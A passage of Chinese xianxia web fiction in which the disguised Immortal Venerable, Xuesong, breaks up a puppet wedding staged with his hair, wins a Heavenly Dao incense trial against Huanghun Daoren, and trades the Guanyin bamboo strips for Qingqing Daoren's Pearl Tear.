如此一来,事情就再清楚也没有了,天道没有找错人,雪松也确实是这件事情的,当事人之一。
不是他一定要参与,而是在事情开始的时候,他就已经在里面了,只是他不知道,现在一切都摊开了,在场的人都知道了,他自然不必说。
他往回一想,之前那些奇怪之处就都清楚了。
红花看起来古怪,大约是因为这场婚礼的其中一个人,本来就是死人,至少,是大多数人所认同的死人,那给死人办的婚礼,稍微有些和活人不同,也是正常的。
至于新娘为什么,呆呆的,好像没什么反应,有点刻板,那是因为,这不过是个傀儡,一个傀儡,能有多少反应?
傀儡通常是被人控制的,而被人控制的时候,控制者没有让傀儡行动,傀儡就不会行动,那看起来没有反应,就一点问题也没有。
客人们说的话也可以解释了,他们有些是来之前就知道,有些是来之后知道,总之,大多数应该都知道。
这场婚礼并不是活人和活人,也不是死人和死人,而是死人和活人,而且还是一个知情的活人和一个不知情的死人,最重要的是,其中一个是仙尊。
这种事,怎么不算奇闻呢?仙尊活着的时候,可从来没有结过婚,他们在这儿看了,也算是长见识了,又怎么不能感慨呢?
就算这场婚礼没有进行下去,现在的情况,也足够让他们震惊的,谁又能说,他们来到这里,是一无所获呢?
雪松攥紧了手里的那根头发,一时心情有点复杂,他从前当凡人的时候是掉过头发的,但是他的身体毕竟是系统给的,系统造出来的身体与众不同。
要是有谁拿着掉落的东西去做什么奇怪的实验或者诅咒,他会不会倒霉不好说,他会不会被人发现什么不应该被人知道的秘密,那才是不得不注意的地方。
他不希望因为这些掉落的东西出什么事,哪怕系统再三向他保证,其实落到别人手里也不会怎么样,因为别人不能从头发或者指甲里面,查出系统的成分,这个世界根本没有那么高的科技力。
但雪松仍然不放心,不是他不相信系统,而是他不相信这个世界的其他人,毕竟,谁知道会不会出什么意外?
这里虽然没有什么科技,但修仙不是一事无成,在修炼这条路上,谁知道,会不会有人,突然有什么突破,不去做正经事,却拿着别人的头发,非要想着研究研究呢?
所以他一边飞快修炼,提升自己的修为,尽可能让自己的身体变得一根头发也不掉,一边找系统要了“不掉头发丸子”,吃了下去,从那一天开始,就不掉头发了,不过那个丸子是有时效的,过了时间还是一样,但这也足够了。
因为他在丸子的时效期内,提升到了足够的修为,没有再掉头发,丸子失效之后,他也检查过,没有掉头发,不用再担心这事了。
那之后他就没有之前那么在意头发的事,但是千算万算,没想到还会有人偷啊?!这东西本来不应该在偷窃范围之内的!但谁知道还有这种人啊?!
这种事情,还有这种人,完全足以证明他的担心根本不是毫无道理!
如果不是早做了防范,谁知道会有多少人做这种事?谁又知道有多少他不想发生的事情,在他不知道的地方发生了呢?
最重要的是,不管什么身份,什么地位,什么时候,什么修为,他!根!本!不想结婚!!!不想!不想!不想!!!
雪松怒气值一节一节拔高,滚葫芦似的口念咒语,握紧了拳头,手心里猛然间冒出火来,往外一窜,当场销毁了那根头发。
周围的其他人只看见火焰在他手心里,闪了一下,紧接着,那头发就变成灰烬了,一点也没剩下,像是一根被烧尽了的芦苇草,扑簌簌落在地上,暗沉沉的,一股焦味儿。
但是被风一吹,就什么味道也没有了,连半点痕迹也没有,毕竟是在手心里烧的,连可能被烧坏的其他东西都没有。
他们正在感慨,被背叛的愤怒可真是有够吓人的,看起来足够让这里寸草不生了。
台子上就在雪松不远处的黄昏道人见此情形大惊失色,几乎要惨叫起来,好像被烧掉的不是一根属于仙尊的头发,而是他自己的身体一样,脸色惨白,张大了嘴,几乎露出喉咙,想要大声叫喊,仿佛是求救的姿态,但是声音没有冒出来,因为在极度激动的情绪状态下,他的嗓子哑了,连话都说不出,更别提叫什么了,只有粗重而断断续续的喘息声,能证明他还是活着的。
他瞪大了眼睛,用一只手指着雪松,像是一个心脏病发的人,在指着自己最后的仇人,试图让周围的所有人一起为自己报仇。
但这并没什么用,因为不相干的人仍然只是看热闹,眨了眨眼睛,甚至看得更起劲了,稍微有点关系的,比如台子上的主持人,倒是想过来帮点忙。
可他看雪松在盛怒之下,一点要让步的意思也没有,觉得自己就算上去,可能也没办法回转这件事,欲言又止之后,反而把手放下,又默默悄悄往后退了一步,免得他们两个等会儿打起来,战斗波及到自己。
他是来干活的,不是来打架的,打架不是他的专长,他可不愿意钱没拿到,还带着伤回家去,他回家还想好好睡一觉呢!
要是带着伤,睡觉都不舒坦的。再说了,黄昏道人把他请过来的时候,可没告诉他会有人上台来大发雷霆。
他不负责这个!这不算他的错!不是他不管,是他管不了!他也没办法!就当突然犯了眼疾好了……对,就是这样……
主持人想清楚之后,就开始左看右看,假装自己什么也没看见了,顺便低头揉了揉眼睛,假装自己脸上开始痛起来,虽然演技有点假,不过,这点儿也够了。
毕竟,现在黄昏道人情绪过分激动,顾不上观察他是不是真的不舒服,也没心情在乎他究竟怎么想的。
至于雪松,雪松能察觉到他完全是装的,但是懒得管他,横竖他不是自己掏钱请来的,只要不捣乱,哪有那么多要求?倒不如说,还得谢谢他站在那不动呢,不然,哪有这么顺利?这多亏黄昏道人请的好啊!
扑通一声,黄昏道人晕倒了,雪松慢条斯理在旁边拍了拍手,把手心里的灰尘拍了出去。
他又不是结婚,但站在别人结婚的台子上干这样的事,多少有些不合时宜,不过他要的就是这个效果。
差点莫名其妙就被结婚了,难道他还能高兴不成?他没有一拳打过去,已经算足够克制的了。
他注视着地上昏倒的黄昏道人,心中默数的时间,黄昏道人好歹是有修为的修士,也不是只活了一天两天,或者刚刚修仙一年两年,不至于身体素质太差,即使是真的昏倒,用不了几秒也会醒过来的。
不然,这种情况还修什么修?早点死掉好了!反正也扛不过雷劫,挣扎只会死得更痛苦。何必折磨自己,顺便折磨别人呢?
三秒不到,黄昏道人就睁开了眼睛,从地上爬了起来,虽然气势上远不如之前,但他仍然不肯认输,深吸一口气,瞪着眼睛,向雪松质问:“你凭什么弄坏我的傀儡?!”
他顿了顿,又缓了一口气,才接着说下去,声音已经不由自主有些低了,一部分是因为知道自己没理,一部分是身体虚弱,所以没力气,一部分是好奇导致的探究,一部分是担忧对方向自己下毒手:“你和仙尊什么关系?”
他一边说一边用一种滴溜溜乱转的目光看着雪松,有一点像是刚出洞的耗子,雪松对于他这种心虚但不认的行为感到好笑,同时感到额头的青筋在狂跳:“我凭什么弄坏你的傀儡,你心里没点数是吗?好,我告诉你!”
雪松深吸一口气,冷冷盯着黄昏道人,恨不得用刀把他千刀万剐似的,眼中透出寒光,咬牙切齿:“就凭仙尊和我有关系!你的傀儡怎么能用仙尊的脸?又怎么能用仙尊的头发?仙尊根本不知情!你这是亵渎死人!我不允许,也绝不会给你这个机会!就算仙尊本人在这儿,也会同意我说的话!”
底下的众人窃窃私语。
“仙尊和他有关系?这倒是看得出来,他那张脸根本不可能和仙尊没关系,毕竟仙尊就长那样,可是没听说过仙尊有子嗣,他身上也没有,和仙尊相同的血脉气息啊?”
“那还能是什么关系?他怎么好像不愿意说?这可真是奇怪了,往常见那些道侣,要是发现自己的婚约对象站在别人的结婚台上,早就大发雷霆,破口大骂,撕来扯去,毫不顾忌,风度全失,一点分寸也没有,更加恨不得拿着喇叭把自己的身份讲出来的!”
“难道——”
他们相互对视,从其他人的眼睛里找到了和自己相似的猜测的痕迹,眼睛一点一点亮了,露出一种吃到更大的瓜的惊讶好奇的喜悦的神色,虽然在这个地方露出这种表情有点损,但他们现在也不太能控制住表情了。
“难道,仙尊早就有一个明媒正娶的道侣,却不甘寂寞,觉得本来的那一个配不上自己,或者同自己不合适,在修仙路上遇到了一个新的,两个人情投意合,擦出火花,所以干脆在一起了,身份这才不好明说?”
“那可太刺激了!不过,从来没有听说过呢?仙尊要真有一个道侣,怎么能一点风声都没有呢?难道是藏起来了?可是不管怎么藏,总该有点痕迹吧?没人知道算什么?”
“也许以前那个早就死了,所以没人知道,因为根本就不存在,现在这个知道早先那一个,是因为仙尊告诉他,仙尊自己知道自己的事,不愿意告诉别人,别人不知道,愿意告诉他,所以他知道,正因如此,他也知道那个人在仙尊心里的分量,才不肯在这个时候明说,哪怕仙尊已经死了,在仙尊没有明说愿意把事情讲出来之前,也不想违背仙尊的意愿,让更多的其他人知道那些事?”
“他那么不希望其他人讨论仙尊吗?可是仙尊那么高的修为,不可能没人知道的!还是说他只是不希望其他人讨论仙尊不想让别人知道的事,哪怕仙尊已经死了?这也太爱了?!难怪他坐在下面,天道就向他示警!不对他示警,对谁示警?这里可没有更合适的人了!”
黄昏道人眼珠一转,也察觉出来,雪松不肯直说,他和仙尊究竟什么关系,立刻抓住毒蛇七寸似的,冷笑着大喊道:“你说你和仙尊有关系,你就和仙尊有关系?”
黄昏道人仗着雪松不肯说实话,觉得自己很有可能继续这场婚礼,哪怕是需要重新想办法做一个人偶,他也愿意,一想到那种可能,他就不愿意让步,不由自主,得寸进尺起来,气势越发膨胀,如同一只咕噜噜灌了许多水的河豚,浑身上下的刺都打开了,咄咄逼人盯着雪松问:“你有什么能证明的?要是随便有一个人上来说自己和仙尊有关系,我就不能举行婚礼,那不是滑天下之大稽吗?
所有会说话的人都可以张口说自己和仙尊有关系!你有什么特别的?你凭什么代表他们?你又凭什么阻拦我?说不出来就滚下去!别在这里捣乱!”
雪松虽然不愿意明说自己和仙尊究竟什么关系,但看得出来他的意图,并不怕他拿这方面说话,冷笑着提醒他:“我有什么证据?证据就是,刚才仙尊在傀儡里的头发受我的召唤!
你说随便找一个人都可以上来说和仙尊有关系,那我问你,是随便找一个人,都可以召唤仙尊的头发,而且足以让头发回应吗?那你找出一个来试试看?”
席上的人听了,都想起来有这么一回事,又兴奋起来。
“从前确实没见过这种情况!说起来,要怎么样做,一个人的头发,才会在人死了之后,回应另外一个人的召唤?这可稀奇得很呢!”
“我记得我记得!通常情况下是这两个人发了天道见证的誓言,大多是同生共死或者转世轮回也要重新在一起的那种不离不弃的誓言!”
“那他们几乎是板上钉钉的一对了吧?不过这么说,我也想起来了,有这种誓言的人,是绝对不会出现一个人活着,另外一个死了的情况,他们连寿命都是一样的,要是得病,也会被平分,这个怎么还活着?这很诡异!”
黄昏道人询问的时候忘了这一茬,突然被提醒,顿时像是鱼刺狠狠卡在喉咙里一样哽住了,脸色一阵青一阵红一阵白,交替轮转,如同一盏五颜六色的灯,咬了咬牙,仍然不肯放弃,倔强道:“也许那只是你的障眼法!
你并不是召唤,并且得到了回应,你只不过是,蒙蔽了其他人的眼睛,让别人以为是那么一回事,实际上你只是趁着别人不注意,偷偷摸摸拆掉了傀儡,拿出头发来烧掉的可恶的坏蛋罢了!”
“原来你不相信?”雪松倒也不怕他问这个,冷笑道:“那你敢当场向天道问卜吗?就问我是不是有权利代表仙尊拒绝这桩婚事!如果天道回应没有,我当场暴毙,如果天道回应有,你再也不许做这种事,而且,除非得到我的谅解,否则,一日之内必死!敢吗?”
天上的云还未散去,闪电像蛇一样时不时探出头来,闷雷嗡嗡响着,像是开战前的鼓声,空气里越来越闷,风越来越冷,一切都等待着,像是如果没有结果,就要继续下去,直到有人死了为止。
黄昏道人皱了皱眉,脸色本来就惨白,正在考虑要不要答应下来,天上一个雷响,他猛然打了个哆嗦,一时忽然就不好说出拒绝的话来了。
如果现在拒绝,众目睽睽,岂不是摆明了他心虚?可是如果现在答应,到时候结果出来,要是和他想的不一样,他不是也要丢脸?横竖都是亏,究竟应该怎么办才好?
他眼珠一转,忽然想到一个办法,背着手对雪松说:“我可以答应你,但毕竟需要准备一些东西,才好显得对天道足够虔诚,避免天道的判断,受到不相干的东西的影响,我要先疏散了宾客,再做准备,之后问天!”
“疏散宾客?”雪松挑了挑眉,立刻明白他在想什么,冷笑道:“你想的好!但人走了之后,你翻脸怎么办?天道给了结果,你不认怎么办?天底下出尔反尔的人多了,你怎么保证自己不是其中一个?”
“反正不是我不答应,只是有条件而已,毕竟你把我的婚礼搞成这个样子,我还没向你追究什么呢,我已经够大度的了,你再要要求什么,反正我是拿不出来的,就这样!”黄昏道人摊开手,一副破罐破摔的样子,像个摆在鞋柜上被窗户吹进来的风打得摇摇晃晃的不倒翁玩偶一样,狡诈得有些无耻,眯着眼睛看着雪松,似笑非笑说:“你自己选吧!”
雪松深吸一口气,事已至此,横竖他也不亏,答应下来就是了,至于没有宾客,也无所谓,虽然有些风险,但也不是不能担:“那好!你现在就开始准备!我就在这看着!你要疏散宾客,随你,你要准备也随你,我只说一件,如果你拖到今天晚上还不肯干,我是不会和你客气的!”
黄昏道人无可不可摆了摆手,看起来甚至有点高兴,迫不及待说:“我知道你的意思!我现在就开始疏散宾客!你不用着急!这件事一定在今天晚上之前办完!”
虽然天已经黑了,但是,午夜十二点,毕竟还没有过,所以准备时间确实还有一些,雪松没什么好着急的,他又不是今天就要死,只是有一些疑惑,怎么黄昏道人看起来比他还高兴还要着急?
高兴什么?又急什么?难道黄昏道人还有什么事情隐瞒着不成?算了,兵来将挡,水来土掩,没那么多功夫慢慢去查了。
没过多久,宾客们依依不舍,起身被送出去,一个也没留下,询问天道的东西已经准备好了,就摆在之前的台子上。
雪松站在那些东西旁边,黄昏道人已经准备好了,他深吸一口气,看着那些东西,点燃了三炷香,跪在蒲团上,往天拜了拜。
说来也是唏嘘,他本来应该在婚礼上干这些的,但是婚礼被中断了,完全没有办法继续了,动作十分熟练中透着一丝对于自己的心酸。
雪松站在旁边看着,没有一丁点多余的情绪,直到黄昏道人从蒲团上站了起来,拿着那三炷香插进了香炉里,随后看向他。
整个流程是,他们分别点燃三炷香,跪在蒲团上,冲天拜三拜,再把香插进香炉里,之后就是询问和等待。
谁的香折断了就等于谁有错,剩下的那一个,自然是天道判断出来的,对的那一方,通常情况下,一个只有两个可能的答案的问题,完全可以这么问,又快又准,又有威慑力,再合适也没有了。
雪松按照同样的流程走了一遍,询问之后等待起来,不出意外的,他们两个都心知肚明的结果,出现在了眼前——
香炉里的三根香折断了,折断的那三根香是左边的,而左边的三根香,是黄昏道人插进去的,不仅折断了,而且是齐根折断的。
那么现在,结果明明白白,一点可疑惑的地方都没有了,雪松看着黄昏道人,黄昏道人脸上出现一种可惜中混杂着果然如此的复杂表情,眉间微蹙,似乎无声里叹了一口气,转过身来的时候,有种诡异的如释重负的感觉。
雪松皱起眉头,盯着他,他一脸无可奈何说:“事已至此,我都明白了——”
雪松正在疑惑他明白了什么,就听见他下一句说:“你就是仙尊的道侣吧?久闻大名!你好!”
雪松如同被炸了个响雷,猛然一惊:“这是现在说的事吗?我们刚才不是在讨论,我是不是有权代替仙尊拒绝这桩婚事吗?
天道给的结果是,我有这个权利。你只要再也不做这样的事,得到原谅之后,就不用死了,你现在是在做什么?我不明白!”
黄昏道人用一种疲惫得好像跑了八百里马拉松一样的表情,笑了起来:“你的身份到现在已经很明显了吧?我不明白,你为什么不承认?我只是想知道这个问题的答案。只要你告诉我。”
他说到这里,沉默了一会儿,像是在做心理建设,总算是默默说服了自己,才慢吞吞开口:“只要你告诉我,不管是要我向你道歉,还是回答你的问题,还是把观音竹条给你,我都答应,怎么样?我只是想知道……”
他顿了顿,用一种十分复杂的目光注视着雪松,好像刚刚才看见一样,叹着气说:“仙尊会选择的喜欢的道侣究竟是什么样的人。”
雪松眨了眨眼睛,一时无法回答,如果他现在还是仙尊,他就会毫不犹豫说,他根本不会喜欢什么人,更不会选择什么人去当他的道侣,不用再想了。
但他现在在别人看来,他的身份显然是属于仙尊的道侣,所以他说那样的话是没有用的,因为根本没有可信度,别人会觉得他是在敷衍,或者胡说。
因此他沉默了一会儿。
黄昏道人没有听见回答,叹了一口气,喃喃道:“我真的很希望仙尊喜欢的人是我,你根本不知道我有多喜欢他,你也根本不知道我有多么希望今天的一切能够成真,我是说婚礼。
可是没想到,我得不到仙尊的人,连用他的头发做的傀儡也得不到,或许这就是我的命吧!
如果你不是仙尊的道侣,我仍然会继续这场婚礼,不管来阻止的人是谁,也不管他们用什么样的方式搅局,可你偏偏是!
可你偏偏是!我没有办法……没有办法说服自己……我还是不甘心……对不起……但是……但是……”
他说着说着,忽然抽抽噎噎,喉咙里咕咕噜噜,泪流满面起来,好像真的十分伤心,情难自已。
雪松虽然对他的眼泪没有丝毫触动,但见此情形,也不好再说什么伤心的话,免得他更加严重,昏头误了时辰,不小心死掉。
雪松往周围打量了一番,见这里没有其他人,安安静静的,应该不会有什么人听见他们的话,多半是黄昏道人之前为了避免丢脸被人看见特意驱赶得这样干净。
雪松想了想,对面脸上的眼泪仍然没有停下来,雪松感觉他一时半会儿是不会自己停下来了,终于无可奈何叹着气说:“好吧,我就是仙尊的道侣,你满意了吗?”
对面抹了一把眼泪,若有所思盯着他,像是在思考,他究竟是在说真话还是在敷衍,看了一阵,又低下头去,喃喃道:“好吧,那你原谅我了吗?”
雪松一时没有回答,黄昏道人又抬起头,看着他重新问了一遍:“你原谅我了吗?”
雪松把青龙玉佩还回去:“你把观音竹条给我,我考虑考虑要不要原谅你的事,你放在哪儿?”
黄昏道人缓缓伸出手,把青龙玉佩拿了回去,低着头说:“我放在后院的房间里,你可以跟我去取。”
“请吧。”雪松点了点头对他说。
他转过身向后院走去,雪松跟在他身后,他走着走着,忽然问:“你看这里的布局,像不像仙尊的住处?”
雪松走了个踉跄。
第78章
黄昏道人要是不说这一句, 雪松还真没注意到周围的布局怎么样,但对面这么一说,他就开始往周围看。
看过之后, 不得不承认, 周围的布置还真有点像仙尊曾经居住的地方,不过并不是完全一样。
或许是不知道, 或许是刻意想保持一点不同, 来留存自己的气息,或者是想要刻意营造出一种自己和仙尊住在一起的氛围, 所以没有完全改,但不管怎么样, 雪松站在这里, 真觉得鸡皮疙瘩有点起来了。
这种突然发现别人家和自己家, 长得像又不像, 还被人亲口点出来的情况,不管怎么想, 都有点惊悚……
不害怕是一回事, 看见并身临其境之后理解了情况,觉得应该尽快离开,又是另外一回事了。
雪松左右看了看,不想继续观察究竟有哪里像,哪里不像,收回了目光, 对站在前面驻足的黄昏道人说:“是挺像的。”
他顿了顿,见对面的黄昏道人没有反应,还是微笑看着他,好像还在等他说什么, 几乎要打一个哆嗦,催促道:“快开门吧!东西在里面吗?我拿了东西就走,不会打扰你很久的。”
黄昏道人像个刚刚连上电的机器一样,缓缓回过神来,一边低头开门,一边满不在乎似的笑道:“没有关系,一点也不打扰,你要是愿意留下来,我也很高兴,想多住些日子也没问题,东西确实在里面,但你真要拿了就走吗?”
他说着,那门发出咔嚓一声,大约是锁开了,他就把门推开,往里走了进去,里面黑漆漆的,莫名还有一点灰尘,好像很久没有人用过了,但地面还算干净,应该平时有打扫,只是不勤,也没人来,就这样了。
雪松跟着走了进去,看见黄昏道人进去之后,顺手把窗户推开了,关闭的窗户一打开,屋外的风就流动起来。
一股清新的空气涌入房间,冲破了那种陈旧的微微发霉的气味,房间里那种又老又黑的古怪氛围被冲淡了,感觉上一下子亮堂了很多,整个人站在房间里,都似乎要轻松一些,好像身上的重量被减轻了。
雪松眨了眨眼睛,风从外面吹进来,吹到他的眼睛里,他一下子感觉眼睛里凉凉的,就好像有人抓了一把薄荷,狠狠捏了一下,薄荷汁就从那人的手指缝里流下来,滴进了他的眼睛里,他打了个哆嗦,说不清是觉得冷还是古怪,又或者是稀奇。
黄昏道人站在窗边看了看外面,才转过头来,像个没招待好客人的主人一样,有点不好意思似的,向他笑了笑:“这里的风挺好,过会可能就没了,我吹了一会儿,你不介意吧?”
雪松倒不急在这一时半刻,反正一天都过来了,急在这两分钟有什么用?再说了,对面已经答应了,要把东西给他,天道也见证过了,对面如果不肯给,而他不肯原谅,那对面一天之内也是要死的,死在他前面呢,他没什么可担心的,反正他还有点时间。
“不介意。”雪松看着他,见他神色平和,没有改变主意的意思,从他身边望出去,看见他身后是一片雪白的庭院,好像外面忽然间落了一场大雪似的,眯着眼睛,摇了摇头说。
黄昏道人自嘲似的笑了笑,喃喃道:“也对,你毕竟是仙尊的道侣,仙尊是什么人?高山之巅上的人。住在什么地方?众所周知的,冰寒之地。想必修身养性,一定是不错的。只怕我急死了,你也不会急的……”
他说着,不知是不是忽然想到自己,单方面爱慕仙尊,甚至没有和对方近距离怎么接触过,心生遗憾,摇着头,十分可惜似的,叹了一口气。
雪松身上那种即将起鸡皮疙瘩的感觉又来了,明明之前的鸡皮疙瘩还没完全消下去,只能说不是他的皮肤有问题,而是对面的人总有让他起鸡皮疙瘩的本事。
这不能怪他,他不是不知道仙尊那种身份和修为,再加上那样的脸,可能会吸引很多人心存爱慕,但是,吸引而已。
他一辈子未必和他们见上几面,说上几句话,更别提做什么事,连名字也不知道,没有什么可在乎的,根本也没有把那些人放在心上的机会。
他本来以为那些人生生死死一辈子,于他而言,也不过是风中清露,水中浮萍,山中孑孓,算不了什么,在他的一生之中,也绝对不如棋盘中的一颗棋子重。
毕竟,他是真的有一副棋盘,可以货真价实捞一颗棋子拿在手里,但他不会,和这些人有超过一颗棋子的接触。
因为他自己的棋盘和棋子,他可以想拿就拿,但这些人可不一样,他们不能想在他面前出现就在他面前出现,想在他面前消失就在他面前消失,更不会像一颗没有生命的棋子一样任他摆布,东西和人总是不一样的。
自己的东西和别人,那就更不一样了,完全没有相同之处,也不能等同,要并列,都觉得自己的东西更亲近一些。
虽然这样仿佛是不太好,但横竖他跟他们又不熟,这不重要。没想到今天,突然冒出来这么一个黄昏道人,把从前的屏障都打破了,几乎要跳出来。
不过没有关系,从前是从前,现在是现在,屏障坏了再修就行,他的身份也不一样,现在的修为毕竟没有从前高,别人现在在他面前,比从前在他面前更肆无忌惮,是正常情况。
再说了,他们不都认为他是仙尊的道侣吗?虽然自己当自己的道侣很古怪,但总比别人来当好些。
最重要的是,以他现在的身份,他完全可以名正言顺,毫不犹豫拒绝这些人。那他也没什么好客气的。
雪松出言打断了黄昏道人的情绪和想法:“先把东西给我吧!你要想什么说什么,回头有空,自己慢慢谈,行吗?”
黄昏大人为他这种突然的打断愣了一下,随后笑了笑:“不好意思,其实我已经喜欢仙尊很久了,只是不敢告诉他,毕竟他是那么一个,看起来高高在上的人,又那么忙,没有什么空,不可能专门对我说什么,我也自然不好在众目睽睽之下,对他说什么,那要是不成,对大家都不好。”
他一边说一边转过头去,在房间里翻找出一个盒子,打开来看了看,递给了雪松:“这是你要的观音竹条,你看看是不是?”
雪松看了一眼,点了点头,把东西收拾起来,黄昏道人愣了一下,把空盒子往前递了递,对他无可奈何笑道:“这个也一起拿去吧,我留着也没什么用,你拿去了,还能在路上保护一点。”
雪松把盒子收一下,道了谢,表示了原谅,转身就要走,忽然又被拉住了,黄昏道人犹犹豫豫问:“你和仙尊进展到哪一步了?”
雪松一时无话可说。能进展到哪一步?自己和自己能进展到哪一步?只有一个身体,你说能进展到哪一步?你想要进展到哪一步?
黄昏道人从他的沉默里好像突然明白过来,不好意思,松了手,眨了眨眼睛说:“我不该问。”
“没关系。”雪松面不改色回答。他还能说什么呢?他还有什么可说呢?
对面既然已经替他想好,他也没什么可解释的,说的越多,破绽越多,不小心被人察觉就不好了。就这样吧。
“那你现在是要去哪?”黄昏道人踌躇了一下,望着雪松,目光忽然恍惚了一瞬,像是把他看成了仙尊,随后,眼神一下凌厉起来,仿佛下意识以为他是来招摇撞骗的,以至于提起了警惕,最后才慢慢想起来,这本来只是一个婚礼上的客人,表情又迷茫柔和下去。
“去幽冥河畔,把东西给要这东西的人,”雪松顿了顿,看着他问,“你应该知道是谁吧?”
黄昏道人冷着脸沉下眼去,表情不太好看,但还是回答:“我知道,幽冥河畔还能有谁?不就是那个,疯疯癫癫,一天到晚做不切实际的梦的,青青道人吗?”
“你好像对他很有意见?”雪松试探着问。
“我为什么不能对他有意见?”黄昏道人皱起眉头:“他三番四次找我,明知道我不愿意把东西给出去,还非要来,我说过很多次了,我不愿意给他的,他还是不肯不再来,这次还换了人来!”
他越说越生气,咬了咬牙,看了雪松一眼,看见雪松那张和仙尊一模一样的脸和仿佛置身事外的表情,一下子像是被泼了一盆冷水一样,冷静下来,呆呆看了雪松一会,忽然自嘲似的笑了笑:“如果这次来的人不是你,我不会把东西交出去,他仍然得不到,我的婚礼还可以正常举行,你不会发现这里有什么,说到底,如果我有十分倒霉,那至少有五分是因为他,我实在没办法喜欢他。”
黄昏道人耸了耸肩,看着雪松,开玩笑说:“其实他也不需要,他自己有喜欢的人呢。哪用得着我去?我自然有我自己喜欢的,更不找他。”
他看着雪松说这话,雪松莫名觉得这话像是对自己说的,这很诡异,侧过脸去,再次提醒他,同时避开他的话茬:“总之,我该走了。”
黄昏道人看着他的脸,一时间没说话,像是在透过他的脸看仙尊,问题是雪松本来就是仙尊,这让雪松有一种对面在透过他的皮囊,试图看他的灵魂的感觉,毛骨悚然,往外走了两步,从他的目光中心挪开。
黄昏道人无所谓似的笑了笑,又好像只是在缓和气氛,也跟着走了两步,仿佛一只追逐被丝线缠绕的猎物的蜘蛛,慢条斯理说:“那我送你?”
雪松皱着眉头正要拒绝,就听他说:“我的婚礼已经搞砸了,傀儡也散了,宾客也走了,地方空荡荡的,留在这没什么意思,现在天又黑着,我也没心情收拾……”
雪松拒绝的话卡在喉咙,吐不出来,犹豫了一下,勉强答应:“那走吧,现在去幽冥河。”
黄昏道人微笑着点了点头:“多谢。”
雪松一边加快脚步往外走去,一边摆了摆手:“不用客气。”
黄昏道人笑了笑,跟着走了出去,顺手把房间的门关了。
二人到了幽冥河,青青道人在房子里睡了一觉,感觉自己好多了,精神稳定了,打开门从里面出来,刚走了一步,就看见他们两个从天上落下来,愣了一下,下意识要往回走,因为他觉得自己开门的方式不对,所以见鬼了。
虽然他觉得雪松可能很快回来,甚至把东西给他带回来,是正常情况,但他压根没想过雪松还能把一直看他不顺眼,而且他也有点看不顺眼的观音竹条的主人也带回来!
雪松把黄昏道人带回来干什么?难道东西还在他手里不成?可他居然宁愿拽着东西不松手,也不肯把东西交给别人吗?这很古怪。
至少,青青道人还以为,黄昏道人会宁愿把东西交给别人,也不会愿意亲自过来见他,毕竟他们不和有一阵子了。
这也没办法,青青道人真的很想要,而且觉得自己很需要观音竹条,但是黄昏道人不肯松手,也压根没有改变主意的意思,那可不就僵持住了?僵持着僵持着,时间久了,自然相看两相厌,也不是什么好控制的事。
更何况,一个想要东西,一个不想给东西,也不想见人,他们从情绪上根本没有控制的必要,关系就更加恶劣化了。
青青道人打开门,出去,进来,进来又出去,反复尝试之后终于确认他看见黄昏道人不是错觉而是真的,这个人就在他家门口。
他愣住了。
雪松上前一步,把装在盒子里的观音竹条递给他:“你要的东西,检查一下吧,我给你带回来了。”
青青道人现在像一个只知道接受指令的机器一样,脸上没什么表情,看起来呆呆的,听见雪松说话,就低下头去,伸出手把盒子接了过来,打开一看。
里面果然是观音竹条,他想到可能编出观音竹篮,大喜过望,一下子回过神来,拍打着雪松的肩膀说:“真的是!谢谢你!”
雪松摆了摆手,紧盯着他说:“不用客气,那珍珠泪?”
青青道人满脸笑容,一下子僵住了,他还低着头正在看盒子里的观音竹条,听见这话,缓缓把东西放回去,盖上盒子,一副打架之前要把东西放好的样子,沉默着坐在了旁边的凳子上,露出了思考的神色。
他之前确实说了,只要雪松把观音竹条给他拿来,他就考虑把珍珠泪交出去,现在雪松做到了,他也确实该考虑考虑了。
究竟是给还是不给?
如果不给,雪松没有多少时间是真的,他很容易和宗门结仇,毕竟雪松是宗门的人,又和仙尊有关,真要是因为他死了,有些人一时气不过,来找他的麻烦是完全可能的。
如果要给,那就是真的要失去珍珠泪了,可他只有这么一滴珍珠泪,还是他临死的爱人留给他的唯一的东西。
不是没有别的遗物,只是,临死之际,只有这个是带着温度的,刚从那双依依不舍的眼睛里掉下来,就好像藏着爱人的魂魄一样。
哪怕他知道,其实他的爱人已经魂飞魄散,他也不愿意接受,天底下的人不愿意接受的事情多了多,他这一件又怎么样呢?
可是,即使到现在,他手里拿着观音竹条,这仍然是一件很难选择的事。他有一瞬间想把东西还回去,让雪松现在离开,这样他就不必把珍珠泪交出去了,但是不行。
雪松可以离开,但是离开之后就会死,死了可没那么容易活过来,他比谁都清楚这一点,正因如此,才不能随便下决定。
黄昏道人在旁边看着,嗤笑一声,露出嘲讽的神色,是青青道人最讨厌的那种表情和声音,慢悠悠问:“还没想好呢?我还以为你请别人办事,是别人一办完就立刻把报酬双手奉上,原来只是想白拿别人的东西?不仅不给钱,连别的东西也不肯给?太抠门了!”
黄昏道人一边说一边摇头,提起从前的事:“就是因为这样,我才不愿意把东西给你,你一看就是一个拿了东西也做不成什么的人,何必浪费我的东西呢?”
青青道人被激怒了,猛然间站起身来盯着他,骂道:“你给我闭嘴!你这个到处乱晃,多管闲事,自以为是的东西!谁请你来了?少在这里作怪!装模作样干什么?你要是真大度,早先就把东西给我了,何必拖到今日?现在还有什么脸来说我?”
黄昏道人并不生气,只是笑呵呵看着他,如同看见一只正在竹笼里疯狂转圈的蟋蟀,耸了耸肩:“再怎么样,我也把东西给出去了,你代你已经拿到了,我当然要为拿了我的东西的人说一句话!从这一点上,我可比你高尚多了!”
青青道人握着拳头,不耐烦而愤怒,知道他说这些难听的话,逼迫自己做决定,是为了帮助雪松,既不能也不好对他真正动手,但仍然无法排解,像一只陷入刻板动作呼哧呼哧喘气的熊一样,走来走去:“你知道什么?你知道什么!”
黄昏道人无所谓,似笑非笑,摇了摇头说:“我什么都不知道,我只知道我的东西给了人了,来看看这东西最后落在谁手里罢了!”
青青道人猛然间停了下来,面红耳赤瞪着他,但是没有说话,深吸一口气,转过身重新坐回了凳子上,看着幽冥河水,脸上的颜色逐渐消退,甚至看起来有点苍白,他确实是在做决定了,嘴唇哆嗦了一下,终于想好了。
他重新站起身来,几乎有点踉跄,雪松连忙冲上去扶住他,怕他真的摔倒一头栽进幽冥河里,自己要的东西就拿不到了。
他苦笑着,勉强站在原地,把东西掏出来递给雪松,拿着东西的那只手有些颤抖,使人分不清他究竟是想迅速收回去藏起来,还是摔在地上砸碎了,又或者真的递出去。
但在场的人都听见,他用一种沙哑干涩而艰难的声音,吞了吞嗓子,闭着眼睛说:“这就是珍珠泪,你拿去吧。”
